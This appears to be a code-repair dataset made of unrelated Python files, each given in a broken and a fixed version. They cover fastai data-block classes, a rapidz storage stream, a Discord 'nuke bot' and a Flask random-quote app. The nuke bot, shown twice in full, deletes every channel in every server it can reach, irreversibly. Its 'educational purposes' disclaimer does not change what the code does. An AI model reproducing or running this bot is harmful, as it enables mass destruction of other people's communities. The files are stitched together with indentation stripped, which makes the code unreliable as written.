_processor=MultiCategoryProcessor
def __init__(self, items:Iterator, classes:Collection=None, sep:str=None, **kwargs):
if sep is not None: items = array(csv.reader(items.astype(str), delimiter=sep))
super().__init__(items, classes=classes, **kwargs)
self.loss_func = BCEWithLogitsFlat()
def get(self, i):
o = self.items[i]
if o is None: return None
return MultiCategory(one_hot(o, self.c), [self.classes[p] for p in o], o)
def analyze_pred(self, pred, thresh:float=0.5):
return (pred >= thresh).float()
def reconstruct(self, t):
o = [i for i in range(self.c) if t[i] == 1.]
return MultiCategory(t, [self.classes[p] for p in o], o)
class FloatList(ItemList):
"`ItemList` suitable for storing the floats in items for regression. Will add a `log` if True"
def __init__(self, items:Iterator, log:bool=False, **kwargs):
super().__init__(np.array(items, dtype=np.float32), **kwargs)
self.log = log
self.copy_new.append('log')
self.c = self.items.shape[1] if len(self.items.shape) > 1 else 1
self.loss_func = MSELossFlat()
def get(self, i):
o = super().get(i)
return FloatItem(log(o) if self.log else o)
def reconstruct(self,t): return FloatItem(t.item())
class ItemLists():
"An `ItemList` for each of `train` and `valid` (optional `test`)."
def __init__(self, path:PathOrStr, train:ItemList, valid:ItemList, test:ItemList=None):
self.path,self.train,self.valid,self.test = Path(path),train,valid,test
if isinstance(self.train, LabelList): self.__class__ = LabelLists
def __repr__(self)->str:
return f'{self.__class__.__name__};\n\nTrain: {self.train};\n\nValid: {self.valid};\n\nTest: {self.test}'
def __getattr__(self, k):
ft = getattr(self.train, k)
if not isinstance(ft, Callable): return ft
fv = getattr(self.valid, k)
assert isinstance(fv, Callable)
def _inner(*args, **kwargs):
self.train = ft(*args, **kwargs)
assert isinstance(self.train, LabelList)
self.valid = fv(*args, **kwargs)
self.__class__ = LabelLists
self.process()
return self
return _inner
@property
def lists(self):
res = [self.train,self.valid]
if self.test is not None: res.append(self.test)
return res
def label_from_lists(self, train_labels:Iterator, valid_labels:Iterator, label_cls:Callable=None, **kwargs)->'LabelList':
"Use the labels in `train_labels` and `valid_labels` to label the data. `label_cls` will overwrite the default."
label_cls = self.train.get_label_cls(train_labels, label_cls)
self.train = self.train._label_list(x=self.train, y=label_cls(train_labels, **kwargs))
self.valid = self.valid._label_list(x=self.valid, y=self.train.y.new(valid_labels, **kwargs))
self.__class__ = LabelLists
self.process()
return self
def transform(self, tfms:Optional[Tuple[TfmList,TfmList]]=(None,None), **kwargs):
"Set `tfms` to be applied to the xs of the train and validation set."
if not tfms: return self
self.train.transform(tfms[0], **kwargs)
self.valid.transform(tfms[1], **kwargs)
if self.test: self.test.transform(tfms[1], **kwargs)
return self
def transform_y(self, tfms:Optional[Tuple[TfmList,TfmList]]=(None,None), **kwargs):
"Set `tfms` to be applied to the ys of the train and validation set."
if not tfms: tfms=(None,None)
self.train.transform_y(tfms[0], **kwargs)
self.valid.transform_y(tfms[1], **kwargs)
if self.test: self.test.transform_y(tfms[1], **kwargs)
return self
class LabelLists(ItemLists):
"A `LabelList` for each of `train` and `valid` (optional `test`)."
def get_processors(self):
"Read the default class processors if none have been set."
procs_x,procs_y = listify(self.train.x._processor),listify(self.train.y._processor)
xp = ifnone(self.train.x.processor, [p(ds=self.train.x) for p in procs_x])
yp = ifnone(self.train.y.processor, [p(ds=self.train.y) for p in procs_y])
return xp,yp
def process(self):
"Process the inner datasets."
xp,yp = self.get_processors()
for i,ds in enumerate(self.lists): ds.process(xp, yp, filter_missing_y=i==0)
return self
def databunch(self, path:PathOrStr=None, **kwargs)->'ImageDataBunch':
"Create an `DataBunch` from self, `path` will override `self.path`, `kwargs` are passed to `DataBunch.create`."
path = Path(ifnone(path, self.path))
return self.x._bunch.create(self.train, self.valid, test_ds=self.test, path=path, **kwargs)
def add_test(self, items:Iterator, label:Any=None):
"Add test set containing `items` with an arbitrary `label`"
# if no label passed, use label of first training item
if label is None: label = self.train[0][1].obj
labels = [label for _ in range_of(items)]
if isinstance(items, ItemList): self.test = self.valid.new(items.items, labels, xtra=items.xtra)
else: self.test = self.valid.new(items, labels)
return self
def add_test_folder(self, test_folder:str='test', label:Any=None):
"Add test set containing items from `test_folder` and an arbitrary `label`."
items = self.x.__class__.from_folder(self.path/test_folder)
return self.add_test(items.items, label=label)
class LabelList(Dataset):
"A list of inputs `x` and labels `y` with optional `tfms`."
def __init__(self, x:ItemList, y:ItemList, tfms:TfmList=None, tfm_y:bool=False, **kwargs):
self.x,self.y,self.tfm_y = x,y,tfm_y
self.y.x = x
self.item=None
self.transform(tfms, **kwargs)
def __len__(self)->int: return len(self.x) if self.item is None else 1
@contextmanager
def set_item(self,item):
"For inference, will replace the dataset with one that only contains `item`."
self.item = self.x.process_one(item)
yield None
self.item = None
def __repr__(self)->str:
x = f'{self.x}' # force this to happen first
return f'{self.__class__.__name__}\ny: {self.y}\nx: {x}'
def predict(self, res):
"Delegates predict call on `res` to `self.y`."
return self.y.predict(res)
@property
def c(self): return self.y.c
def new(self, x, y, **kwargs)->'LabelList':
if isinstance(x, ItemList):
return self.__class__(x, y, tfms=self.tfms, tfm_y=self.tfm_y, **self.tfmargs)
else:
return self.new(self.x.new(x, **kwargs), self.y.new(y, **kwargs)).process()
def __getattr__(self,k:str)->Any:
res = getattr(self.x, k, None)
return res if res is not None else getattr(self.y, k)
def __getitem__(self,idxs:Union[int,np.ndarray])->'LabelList':
if isinstance(try_int(idxs), int):
if self.item is None: x,y = self.x[idxs],self.y[idxs]
else: x,y = self.item ,0
if self.tfms:
x = x.apply_tfms(self.tfms, **self.tfmargs)
if hasattr(self, 'tfms_y') and self.tfm_y and self.item is None:
y = y.apply_tfms(self.tfms_y, **{**self.tfmargs_y, 'do_resolve':False})
return x,y
else: return self.new(self.x[idxs], self.y[idxs])
def to_df(self)->None:
"Create `pd.DataFrame` containing `items` from `self.x` and `self.y`."
return pd.DataFrame(dict(x=self.x._relative_item_paths(), y=[str(o) for o in self.y]))
def to_csv(self, dest:str)->None:
"Save `self.to_df()` to a CSV file in `self.path`/`dest`."
self.to_df().to_csv(self.path/dest, index=False)
def export(self, fn:PathOrStr):
"Export the minimal state and save it in `fn` to load an empty version for inference."
state = {'x_cls':self.x.__class__, 'x_proc':self.x.processor,
'y_cls':self.y.__class__, 'y_proc':self.y.processor,
'path':self.path}
pickle.dump(state, open(fn, 'wb'))
@classmethod
def load_empty(cls, fn:PathOrStr, tfms:TfmList=None, tfm_y:bool=False, **kwargs):
"Load the sate in `fn` to create an empty `LabelList` for inference."
state = pickle.load(open(fn, 'rb'))
x = state['x_cls']([], path=state['path'], processor=state['x_proc'])
y = state['y_cls']([], path=state['path'], processor=state['y_proc'])
return cls(x, y, tfms=tfms, tfm_y=tfm_y, **kwargs).process()
def process(self, xp=None, yp=None, filter_missing_y:bool=False):
"Launch the processing on `self.x` and `self.y` with `xp` and `yp`."
self.y.process(yp)
if filter_missing_y and (getattr(self.x, 'filter_missing_y', None)):
filt = array([o is None for o in self.y])
if filt.sum()>0: self.x,self.y = self.x[~filt],self.y[~filt]
self.x.process(xp)
return self
@classmethod
def from_lists(cls, path:PathOrStr, inputs, labels)->'LabelList':
"Create a `LabelList` in `path` with `inputs` and `labels`."
inputs,labels = np.array(inputs),np.array(labels)
return cls(np.concatenate([inputs[:,None], labels[:,None]], 1), path)
def transform(self, tfms:TfmList, tfm_y:bool=None, **kwargs):
"Set the `tfms` and `tfm_y` value to be applied to the inputs and targets."
self.tfms,self.tfmargs = tfms,kwargs
if tfm_y is not None: self.tfm_y,self.tfms_y,self.tfmargs_y = tfm_y,tfms,kwargs
return self
def transform_y(self, tfms:TfmList=None, **kwargs):
"Set `tfms` to be applied to the targets only."
self.tfm_y=True
if tfms is None: self.tfms_y,self.tfmargs_y = self.tfms,{**self.tfmargs, **kwargs}
else: self.tfms_y,self.tfmargs_y = tfms,kwargs
return self
@classmethod
def _databunch_load_empty(cls, path, fname:str='export.pkl', tfms:TfmList=None, tfm_y:bool=False, **kwargs):
"Load an empty `DataBunch` from the exported file in `path/fname` with optional `tfms`."
ds = LabelList.load_empty(path/fname, tfms=(None if tfms is None else tfms[1]), tfm_y=tfm_y, **kwargs)
return cls.create(ds,ds,path=path)
DataBunch.load_empty = _databunch_load_empty
|
from rapidz import Stream
import os
import numpy as np
from event_model import compose_resource
@Stream.register_api()
class Store(Stream):
def __init__(self, upstream, root, writer, resource_kwargs=None, **kwargs):
Stream.__init__(self, upstream, **kwargs)
if writer is None:
writer = {}
self.writer = writer
self.root = root
self.resource_kwargs = resource_kwargs
self.init_writers = {}
self.descriptors = {}
self.not_issued_descriptors = set()
def update(self, x, who=None):
name, doc = x
# selective copy
doc = dict(doc)
if name == "start":
self.init_writers[doc["uid"]] = self.writer(
self.root, doc, self.resource_kwargs
)
if name == "descriptor":
self.descriptors[doc["uid"]] = doc
self.not_issued_descriptors.add(doc["uid"])
return
elif name == "event":
ret = []
writer = self.init_writers[
self.descriptors[doc["descriptor"]]["run_start"]
]
for n, d in writer.write(doc):
# If this is an event and we haven't done this descriptor yet
if (
n == "event"
and doc["descriptor"] in self.not_issued_descriptors
):
# For each of the filled keys let us know that it is backed
# by FILESTORE
descriptor = self.descriptors[doc["descriptor"]]
for k, v in doc["filled"].items():
if not v:
descriptor["data_keys"][k].update(
external="FILESTORE:"
)
ret.append(self.emit(("descriptor", descriptor)))
# We're done with that descriptor now
self.not_issued_descriptors.remove(doc["descriptor"])
ret.append(self.emit((n, d)))
return ret
elif name == "stop":
# clean up our cache (allow multi stops if needed)
self.init_writers.pop(doc["run_start"], None)
return self.emit((name, doc))
class NpyWriter:
spec = "npy"
def __init__(self, root, start, resource_kwargs=None):
if resource_kwargs is None:
resource_kwargs = {}
self.resource_kwargs = resource_kwargs
self.root = root
self.datum_kwargs = {}
self.start = start
def write(self, event):
for k, v in event["data"].items():
if isinstance(v, np.ndarray) and v.shape != ():
resource_path = f'an_data/{event['uid']}_{k}.npy'
fpath = os.path.join(self.root, resource_path)
os.makedirs(os.path.dirname(fpath), exist_ok=True)
np.save(fpath, v)
resource, compose_datum, compose_datum_page = compose_resource(
start=self.start,
spec=self.spec,
root=self.root,
resource_path=resource_path,
resource_kwargs=self.resource_kwargs,
)
yield "resource", resource
datum = compose_datum(datum_kwargs=self.datum_kwargs)
yield "datum", datum
event["data"][k] = datum["datum_id"]
event["filled"][k] = False
# Don't write a file just for a single number!
elif isinstance(v, np.ndarray) and np.isscalar(v):
event["data"][k] = v.item()
yield "event", event
| from rapidz import Stream
import os
import numpy as np
from event_model import compose_resource
@Stream.register_api()
class Store(Stream):
def __init__(self, upstream, root, writer, resource_kwargs=None, **kwargs):
Stream.__init__(self, upstream, **kwargs)
if writer is None:
writer = {}
self.writer = writer
self.root = root
self.resource_kwargs = resource_kwargs
self.init_writers = {}
self.descriptors = {}
self.not_issued_descriptors = set()
def update(self, x, who=None):
name, doc = x
# selective copy
doc = dict(doc)
if name == "start":
self.init_writers[doc["uid"]] = self.writer(
self.root, doc, self.resource_kwargs
)
if name == "descriptor":
self.descriptors[doc["uid"]] = doc
self.not_issued_descriptors.add(doc["uid"])
return
elif name == "event":
ret = []
writer = self.init_writers[
self.descriptors[doc["descriptor"]]["run_start"]
]
for n, d in writer.write(doc):
# If this is an event and we haven't done this descriptor yet
if (
n == "event"
and doc["descriptor"] in self.not_issued_descriptors
):
# For each of the filled keys let us know that it is backed
# by FILESTORE
descriptor = self.descriptors[doc["descriptor"]]
for k, v in doc["filled"].items():
if not v:
descriptor["data_keys"][k].update(
external="FILESTORE:"
)
ret.append(self.emit(("descriptor", descriptor)))
# We're done with that descriptor now
self.not_issued_descriptors.remove(doc["descriptor"])
ret.append(self.emit((n, d)))
return ret
elif name == "stop":
# clean up our cache (allow multi stops if needed)
self.init_writers.pop(doc["run_start"], None)
return self.emit((name, doc))
class NpyWriter:
spec = "npy"
def __init__(self, root, start, resource_kwargs=None):
if resource_kwargs is None:
resource_kwargs = {}
self.resource_kwargs = resource_kwargs
self.root = root
self.datum_kwargs = {}
self.start = start
def write(self, event):
for k, v in event["data"].items():
if isinstance(v, np.ndarray) and v.shape != ():
resource_path = f'an_data/{event["uid"]}_{k}.npy'
fpath = os.path.join(self.root, resource_path)
os.makedirs(os.path.dirname(fpath), exist_ok=True)
np.save(fpath, v)
resource, compose_datum, compose_datum_page = compose_resource(
start=self.start,
spec=self.spec,
root=self.root,
resource_path=resource_path,
resource_kwargs=self.resource_kwargs,
)
yield "resource", resource
datum = compose_datum(datum_kwargs=self.datum_kwargs)
yield "datum", datum
event["data"][k] = datum["datum_id"]
event["filled"][k] = False
# Don't write a file just for a single number!
elif isinstance(v, np.ndarray) and np.isscalar(v):
event["data"][k] = v.item()
yield "event", event
|
# -*- coding: utf-8 -*-
"""
- Usage of this bot is not at all recommended as its against the Terms of Service of discord.
- Your account may get banned if you use this bot.
- You can still make an alt account if you are that desperate.
- The bot requires `Manage Channels` permission in every server.
- Deletes (or at least tries to) delete all the channels accessible to the bot.
- Use this at your own risk.
- Channels once deleted cannot come back.
- Made strictly for educational purposes only.
- I won't be responsible for any stupid things which any of you might not / might do.
"""
# imports
import json
import sys
from colorama import Fore, Style
import discord
import asyncio as aio
import random as rd
from discord.ext import commands as NukeBot
# set up the bot
it = discord.Intents.default() # privileged intents are not really required
bot = NukeBot.Bot(command_prefix="!", intents=it, chunk_guilds_at_startup=False) # the main Bot instance
# other stuff
intro = f"""- USE THIS AT YOUR OWN RISK. Read this for full info: https://github.com/Videro1407/nuke-bot/blob/main/README.md
- Made strictly for educational purposes by @Videro1407: https://linktr.ee/videro
- I won't be responsible for any stupid things which any of you might not / might do."""
NukeBotHitFont = """
███╗░░██╗██╗░░░██╗██╗░░██╗███████╗ ██████╗░░█████╗░████████╗
████╗░██║██║░░░██║██║░██╔╝██╔════╝ ██╔══██╗██╔══██╗╚══██╔══╝
██╔██╗██║██║░░░██║█████═╝░█████╗░░ ██████╦╝██║░░██║░░░██║░░░
██║╚████║██║░░░██║██╔═██╗░██╔══╝░░ ██╔══██╗██║░░██║░░░██║░░░
██║░╚███║╚██████╔╝██║░╚██╗███████╗ ██████╦╝╚█████╔╝░░░██║░░░
╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝ ╚═════╝░░╚════╝░░░░╚═╝░░░"""
# print the info
print(Fore.RED + Style.BRIGHT + NukeBotHitFont)
print(Fore.GREEN + Style.BRIGHT + intro)
# config load
config = json.loads(open('config.json', 'r').read())
# speed config
Time = 5
speed = input(Fore.BLUE + Style.BRIGHT + f"At what speed do you want to nuke the channels?\n"
f"Options available: slow, medium, fast, insane\n")
if speed.lower() == 'slow':
Time = 10
elif speed.lower() == 'medium':
Time = 5
elif speed.lower() == 'fast':
Time = 3
elif speed.lower() == 'insane':
Time = 1
elif speed.lower() == 'godly': # lil' easter egg
Time = 1 / 2
elif int(speed) == 1:
Time = 10
elif int(speed) == 2:
Time = 5
elif int(speed) == 3:
Time = 3
elif int(speed) == 4:
Time = 1
elif int(speed) == 5: # lil' easter egg
Time = 1 / 2
else:
print(f'Invalid speed entered, default speed selected.')
Time = 5
print(f"Speed: 1 channel per {Time} second{"s" if Time > 1 else ""}")
# logging in message
print(f"Bot is logging in...")
async def NukeAllChannels(): # main task
gone = 0 # number of channels deleted
not_gone = 0 # number of channels which could not be deleted
while True: # while loop
try:
await bot.wait_until_ready() # wait till the bot is ready and logged in
if len(list(bot.get_all_channels())) == 0: # if there are no channels
print(Fore.RED+Style.BRIGHT+f"[NO CHANNELS]: The bot `{str(bot.user)}` has access to no channels.")
sys.exit() # exit the script
r1 = rd.randint(1, 10) # random number from 1 to 10
if r1 == 5: # this will be displayed randomly
print(f'Total channels discovered: {gone + not_gone} channels\n'
f'Total channels deleted: {gone} channels')
for channel in bot.get_all_channels(): # get all the abc.GuildChannels
await aio.sleep(Time) # speed of deleting the channels
try:
await channel.delete(reason=f"Nuke Bot") # delete the channel
print(Fore.GREEN + Style.BRIGHT + f"[SUCCESS]: Deleted {channel.name} ({channel.id}).\n"
f" Guild: {channel.guild.name} ({channel.guild.id})\n"
f" Total Channels Deleted: {gone}") # print it
gone += 1 # add 1 to `gone`
except Exception as e: # error handling
if isinstance(e, discord.Forbidden): # the bto does not have perms to delete the channel
not_gone += 1 # add 1 to `not_gone`
print(Fore.RED+Style.BRIGHT+f'[MISSING ACCESS]: Could not delete {channel.name} ({channel.id})\n'
f' Guild: {channel.guild.name} ({channel.guild.id})\n'
f' Channels not deleted: {not_gone}') # print it
pass # pass/ignore the exception
else: # any unknown error
not_gone += 1 # add 1 to `not_gone`
print(Fore.RED+Style.BRIGHT+f'[OTHER ERROR]: Could not delete {channel.name} ({channel.id})\n'
f' Guild: {channel.guild.name} ({channel.guild.id})\n'
f' Channels not deleted: {not_gone}') # print it
pass # pass/ignore the exception
except RuntimeError: # Tried to do this but it didn't quite work
print(Fore.GREEN + Style.BRIGHT + f"Try inviting the bot into other servers.")
@bot.event # event decorator
async def on_ready(): # when the bot has logged in and is ready to go
print(Fore.GREEN + Style.BRIGHT + f"Logged in as {str(bot.user)} ({bot.user.id})") # print that we are ready
await aio.sleep(0.5) # little delay before the next print
all_channels = len(list(bot.get_all_channels()))
print(Fore.GREEN + Style.BRIGHT + f"Starting nuking channels..\n"
f"Total Channels Accessible: {all_channels}") # print the channels accessible
bot.loop.create_task(NukeAllChannels()) # create the task here
bot.run(config['BOT_TOKEN']) # run the bot (connect + login)
| # -*- coding: utf-8 -*-
"""
- Usage of this bot is not at all recommended as its against the Terms of Service of discord.
- Your account may get banned if you use this bot.
- You can still make an alt account if you are that desperate.
- The bot requires `Manage Channels` permission in every server.
- Deletes (or at least tries to) delete all the channels accessible to the bot.
- Use this at your own risk.
- Channels once deleted cannot come back.
- Made strictly for educational purposes only.
- I won't be responsible for any stupid things which any of you might not / might do.
"""
# imports
import json
import sys
from colorama import Fore, Style
import discord
import asyncio as aio
import random as rd
from discord.ext import commands as NukeBot
# set up the bot
it = discord.Intents.default() # privileged intents are not really required
bot = NukeBot.Bot(command_prefix="!", intents=it, chunk_guilds_at_startup=False) # the main Bot instance
# other stuff
intro = f"""- USE THIS AT YOUR OWN RISK. Read this for full info: https://github.com/Videro1407/nuke-bot/blob/main/README.md
- Made strictly for educational purposes by @Videro1407: https://linktr.ee/videro
- I won't be responsible for any stupid things which any of you might not / might do."""
NukeBotHitFont = """
███╗░░██╗██╗░░░██╗██╗░░██╗███████╗ ██████╗░░█████╗░████████╗
████╗░██║██║░░░██║██║░██╔╝██╔════╝ ██╔══██╗██╔══██╗╚══██╔══╝
██╔██╗██║██║░░░██║█████═╝░█████╗░░ ██████╦╝██║░░██║░░░██║░░░
██║╚████║██║░░░██║██╔═██╗░██╔══╝░░ ██╔══██╗██║░░██║░░░██║░░░
██║░╚███║╚██████╔╝██║░╚██╗███████╗ ██████╦╝╚█████╔╝░░░██║░░░
╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝ ╚═════╝░░╚════╝░░░░╚═╝░░░"""
# print the info
print(Fore.RED + Style.BRIGHT + NukeBotHitFont)
print(Fore.GREEN + Style.BRIGHT + intro)
# config load
config = json.loads(open('config.json', 'r').read())
# speed config
Time = 5
speed = input(Fore.BLUE + Style.BRIGHT + f"At what speed do you want to nuke the channels?\n"
f"Options available: slow, medium, fast, insane\n")
if speed.lower() == 'slow':
Time = 10
elif speed.lower() == 'medium':
Time = 5
elif speed.lower() == 'fast':
Time = 3
elif speed.lower() == 'insane':
Time = 1
elif speed.lower() == 'godly': # lil' easter egg
Time = 1 / 2
elif int(speed) == 1:
Time = 10
elif int(speed) == 2:
Time = 5
elif int(speed) == 3:
Time = 3
elif int(speed) == 4:
Time = 1
elif int(speed) == 5: # lil' easter egg
Time = 1 / 2
else:
print(f'Invalid speed entered, default speed selected.')
Time = 5
print(f"Speed: 1 channel per {Time} second{'s' if Time > 1 else ''}")
# logging in message
print(f"Bot is logging in...")
async def NukeAllChannels(): # main task
gone = 0 # number of channels deleted
not_gone = 0 # number of channels which could not be deleted
while True: # while loop
try:
await bot.wait_until_ready() # wait till the bot is ready and logged in
if len(list(bot.get_all_channels())) == 0: # if there are no channels
print(Fore.RED+Style.BRIGHT+f"[NO CHANNELS]: The bot `{str(bot.user)}` has access to no channels.")
sys.exit() # exit the script
r1 = rd.randint(1, 10) # random number from 1 to 10
if r1 == 5: # this will be displayed randomly
print(f'Total channels discovered: {gone + not_gone} channels\n'
f'Total channels deleted: {gone} channels')
for channel in bot.get_all_channels(): # get all the abc.GuildChannels
await aio.sleep(Time) # speed of deleting the channels
try:
await channel.delete(reason=f"Nuke Bot") # delete the channel
print(Fore.GREEN + Style.BRIGHT + f"[SUCCESS]: Deleted {channel.name} ({channel.id}).\n"
f" Guild: {channel.guild.name} ({channel.guild.id})\n"
f" Total Channels Deleted: {gone}") # print it
gone += 1 # add 1 to `gone`
except Exception as e: # error handling
if isinstance(e, discord.Forbidden): # the bto does not have perms to delete the channel
not_gone += 1 # add 1 to `not_gone`
print(Fore.RED+Style.BRIGHT+f'[MISSING ACCESS]: Could not delete {channel.name} ({channel.id})\n'
f' Guild: {channel.guild.name} ({channel.guild.id})\n'
f' Channels not deleted: {not_gone}') # print it
pass # pass/ignore the exception
else: # any unknown error
not_gone += 1 # add 1 to `not_gone`
print(Fore.RED+Style.BRIGHT+f'[OTHER ERROR]: Could not delete {channel.name} ({channel.id})\n'
f' Guild: {channel.guild.name} ({channel.guild.id})\n'
f' Channels not deleted: {not_gone}') # print it
pass # pass/ignore the exception
except RuntimeError: # Tried to do this but it didn't quite work
print(Fore.GREEN + Style.BRIGHT + f"Try inviting the bot into other servers.")
@bot.event # event decorator
async def on_ready(): # when the bot has logged in and is ready to go
print(Fore.GREEN + Style.BRIGHT + f"Logged in as {str(bot.user)} ({bot.user.id})") # print that we are ready
await aio.sleep(0.5) # little delay before the next print
all_channels = len(list(bot.get_all_channels()))
print(Fore.GREEN + Style.BRIGHT + f"Starting nuking channels..\n"
f"Total Channels Accessible: {all_channels}") # print the channels accessible
bot.loop.create_task(NukeAllChannels()) # create the task here
bot.run(config['BOT_TOKEN']) # run the bot (connect + login)
|
# teabag app
from flask import Flask, render_template
import random as r
import os
app = Flask(__name__)
partsOfSpeech = {'nouns1': ['an aura', 'an accomplishment', 'the love', 'the life', 'the soul'],
'nouns2': ['respect', 'compassion', 'kindness', 'love', 'life', 'knowledge', 'strength',
'generosity', 'love', 'goodness', 'strength',
'belief', 'light', 'love', 'happiness', 'love', 'love', 'everything', 'trust', 'heart'],
'adverbs': ['righteously', 'sincerely'],
'verbs': ['live', 'sing', 'love', 'love', 'live', 'love', 'love', 'give', 'speak', 'speak', 'create',
'intend', 'intend', 'respect'],
'adjectives': ['happy', 'sacred', 'good', 'compassionate', 'giving', 'forgiving', 'loving', 'joyful',
'sincere']
}
phraseDict = {
0: f"You are {r.choice(partsOfSpeech["adjectives"])}",
1: f"{r.choice(partsOfSpeech["verbs"]).title()} {r.choice(partsOfSpeech["adverbs"])}; you will build up {r.choice(partsOfSpeech["nouns1"])} of {r.choice(partsOfSpeech["nouns2"])}",
2: f"{r.choice(partsOfSpeech["verbs"]).title()} to make yourself {r.choice(partsOfSpeech["adjectives"])}",
3: f"{r.choice(partsOfSpeech["nouns2"]).title()} is {r.choice(partsOfSpeech["nouns1"])}",
4: f"It is not to talk of {r.choice(partsOfSpeech["nouns2"])} but to {r.choice(partsOfSpeech["verbs"])} {r.choice(partsOfSpeech["nouns2"])} that is {r.choice(partsOfSpeech["nouns2"])}",
5: f"{r.choice(partsOfSpeech["nouns2"]).title()} is for now, {r.choice(partsOfSpeech["nouns2"])} is for the future",
6: f"{r.choice(partsOfSpeech["verbs"]).title()} what you {r.choice(partsOfSpeech["verbs"])}, {r.choice(partsOfSpeech["verbs"])} what you {r.choice(partsOfSpeech["verbs"])}",
7: f"Your {r.choice(partsOfSpeech["nouns2"])} is your own {r.choice(partsOfSpeech["nouns2"])}",
8: f"{r.choice(partsOfSpeech["nouns2"]).title()} has no limit, {r.choice(partsOfSpeech["nouns2"])} has no enemy",
9: f"{r.choice(partsOfSpeech["verbs"]).title()} yourself so that you may know to to {r.choice(partsOfSpeech["verbs"])} with {r.choice(partsOfSpeech["nouns2"])}",
10: f"You don't need {r.choice(partsOfSpeech["nouns2"])} if you are {r.choice(partsOfSpeech["nouns2"])}",
11: f"{r.choice(partsOfSpeech["verbs"]).title()} the sequence of {r.choice(partsOfSpeech["nouns2"])}, the consequences will always be {r.choice(partsOfSpeech["adjectives"])}",
12: f"People who {r.choice(partsOfSpeech["verbs"])} are {r.choice(partsOfSpeech["adjectives"])}",
13: f"Be {r.choice(partsOfSpeech["adjectives"])}",
14: f"{r.choice(partsOfSpeech["nouns2"]).title()} is the constant state of {r.choice(partsOfSpeech["nouns2"])} for others",
15: f"{r.choice(partsOfSpeech["verbs"]).title()} by your inner {r.choice(partsOfSpeech["nouns2"])}",
16: f"Develop the power of {r.choice(partsOfSpeech["nouns2"])}",
17: f"People who {r.choice(partsOfSpeech["verbs"])} are {r.choice(partsOfSpeech["adjectives"])}",
18: f"The principal ingredient of {r.choice(partsOfSpeech["nouns2"])} is {r.choice(partsOfSpeech["nouns2"])}",
19: "You're already dead",
20: f"{r.choice(partsOfSpeech["nouns1"]).title()} of {r.choice(partsOfSpeech["nouns2"])}",
21: f"You are {r.choice(partsOfSpeech["adjectives"])}",
22: f"{r.choice(partsOfSpeech["verbs"]).title()} {r.choice(partsOfSpeech["adverbs"])}; you will build up {r.choice(partsOfSpeech["nouns1"])} of {r.choice(partsOfSpeech["nouns2"])}",
23: f"{r.choice(partsOfSpeech["verbs"]).title()} to make yourself {r.choice(partsOfSpeech["adjectives"])}",
24: f"{r.choice(partsOfSpeech["nouns2"]).title()} is {r.choice(partsOfSpeech["nouns1"])}",
25: f"It is not to talk of {r.choice(partsOfSpeech["nouns2"])} but to {r.choice(partsOfSpeech["verbs"])} {r.choice(partsOfSpeech["nouns2"])} that is {r.choice(partsOfSpeech["nouns2"])}",
26: f"{r.choice(partsOfSpeech["nouns2"]).title()} is for now, {r.choice(partsOfSpeech["nouns2"])} is for the future",
27: f"{r.choice(partsOfSpeech["verbs"]).title()} what you {r.choice(partsOfSpeech["verbs"])}, {r.choice(partsOfSpeech["verbs"])} what you {r.choice(partsOfSpeech["verbs"])}",
28: f"Your {r.choice(partsOfSpeech["nouns2"])} is your own {r.choice(partsOfSpeech["nouns2"])}",
29: f"{r.choice(partsOfSpeech["nouns2"]).title()} has no limit, {r.choice(partsOfSpeech["nouns2"])} has no enemy",
30: f"{r.choice(partsOfSpeech["verbs"]).title()} yourself so that you may know to to {r.choice(partsOfSpeech["verbs"])} with {r.choice(partsOfSpeech["nouns2"])}",
31: f"You don't need {r.choice(partsOfSpeech["nouns2"])} if you are {r.choice(partsOfSpeech["nouns2"])}",
32: f"{r.choice(partsOfSpeech["verbs"]).title()} the sequence of {r.choice(partsOfSpeech["nouns2"])}, the consequences will always be {r.choice(partsOfSpeech["adjectives"])}",
33: f"People who {r.choice(partsOfSpeech["verbs"])} are {r.choice(partsOfSpeech["adjectives"])}",
34: f"Be {r.choice(partsOfSpeech["adjectives"])}",
35: f"{r.choice(partsOfSpeech["nouns2"]).title()} is the constant state of {r.choice(partsOfSpeech["nouns2"])} for others",
36: f"{r.choice(partsOfSpeech["verbs"]).title()} by your inner {r.choice(partsOfSpeech["nouns2"])}",
37: f"Develop the power of {r.choice(partsOfSpeech["nouns2"])}",
38: f"People who {r.choice(partsOfSpeech["verbs"])} are {r.choice(partsOfSpeech["adjectives"])}",
39: f"The principal ingredient of {r.choice(partsOfSpeech["nouns2"])} is {r.choice(partsOfSpeech["nouns2"])}",
40: f"{r.choice(partsOfSpeech["nouns1"]).title()} of {r.choice(partsOfSpeech["nouns2"])}",
}
@app.route('/') # endpoint of domain name
def teaBagger():
phrases = list(range(len(phraseDict)))
phraseKey = r.choice(phrases)
sentence = phraseDict[phraseKey]
return render_template('teasite.jinja2', sentence=sentence)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 5000)))
| # teabag app
from flask import Flask, render_template
import random as r
import os
app = Flask(__name__)
partsOfSpeech = {'nouns1': ['an aura', 'an accomplishment', 'the love', 'the life', 'the soul'],
'nouns2': ['respect', 'compassion', 'kindness', 'love', 'life', 'knowledge', 'strength',
'generosity', 'love', 'goodness', 'strength',
'belief', 'light', 'love', 'happiness', 'love', 'love', 'everything', 'trust', 'heart'],
'adverbs': ['righteously', 'sincerely'],
'verbs': ['live', 'sing', 'love', 'love', 'live', 'love', 'love', 'give', 'speak', 'speak', 'create',
'intend', 'intend', 'respect'],
'adjectives': ['happy', 'sacred', 'good', 'compassionate', 'giving', 'forgiving', 'loving', 'joyful',
'sincere']
}
phraseDict = {
0: f"You are {r.choice(partsOfSpeech['adjectives'])}",
1: f"{r.choice(partsOfSpeech['verbs']).title()} {r.choice(partsOfSpeech['adverbs'])}; you will build up {r.choice(partsOfSpeech['nouns1'])} of {r.choice(partsOfSpeech['nouns2'])}",
2: f"{r.choice(partsOfSpeech['verbs']).title()} to make yourself {r.choice(partsOfSpeech['adjectives'])}",
3: f"{r.choice(partsOfSpeech['nouns2']).title()} is {r.choice(partsOfSpeech['nouns1'])}",
4: f"It is not to talk of {r.choice(partsOfSpeech['nouns2'])} but to {r.choice(partsOfSpeech['verbs'])} {r.choice(partsOfSpeech['nouns2'])} that is {r.choice(partsOfSpeech['nouns2'])}",
5: f"{r.choice(partsOfSpeech['nouns2']).title()} is for now, {r.choice(partsOfSpeech['nouns2'])} is for the future",
